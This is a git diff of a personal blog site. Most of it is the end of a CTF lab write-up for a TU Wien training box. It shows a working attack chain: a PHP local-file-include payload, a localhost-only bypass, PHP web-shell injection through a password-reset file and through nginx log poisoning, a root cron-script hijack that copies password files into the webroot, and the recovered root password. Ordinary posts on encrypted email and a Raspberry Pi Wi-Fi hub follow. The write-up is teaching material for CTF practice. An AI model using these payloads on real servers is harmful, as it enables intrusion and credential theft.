    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/privesc/page/1/index.html b/public-clearnet/tags/privesc/page/1/index.html new file mode 100644 index 0000000..79e260d --- /dev/null +++ b/public-clearnet/tags/privesc/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/privesc/ + \ No newline at end of file diff --git a/public-clearnet/tags/proton/index.html b/public-clearnet/tags/proton/index.html new file mode 100644 index 0000000..58464d6 --- /dev/null +++ b/public-clearnet/tags/proton/index.html @@ -0,0 +1,11 @@ +Proton | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/proton/index.xml b/public-clearnet/tags/proton/index.xml new file mode 100644 index 0000000..22fd8d2 --- /dev/null +++ b/public-clearnet/tags/proton/index.xml @@ -0,0 +1,158 @@ +Proton on AlipourIm journeyshttps://blog.alipour.eu/tags/proton/Recent content in Proton on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/proton/page/1/index.html b/public-clearnet/tags/proton/page/1/index.html new file mode 100644 index 0000000..4a6a3da --- /dev/null +++ b/public-clearnet/tags/proton/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/proton/ + \ No newline at end of file diff --git a/public-clearnet/tags/raspberry-pi/index.html b/public-clearnet/tags/raspberry-pi/index.html new file mode 100644 index 0000000..d5e5832 --- /dev/null +++ b/public-clearnet/tags/raspberry-pi/index.html @@ -0,0 +1,12 @@ +Raspberry Pi | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/raspberry-pi/index.xml b/public-clearnet/tags/raspberry-pi/index.xml new file mode 100644 index 0000000..220707c --- /dev/null +++ b/public-clearnet/tags/raspberry-pi/index.xml @@ -0,0 +1,593 @@ +Raspberry Pi on AlipourIm journeyshttps://blog.alipour.eu/tags/raspberry-pi/Recent content in Raspberry Pi on AlipourIm journeysHugo -- 0.146.0enSun, 23 Nov 2025 00:00:00 +0000I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)https://blog.alipour.eu/posts/house_upgrade/Sun, 23 Nov 2025 00:00:00 +0000https://blog.alipour.eu/posts/house_upgrade/Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

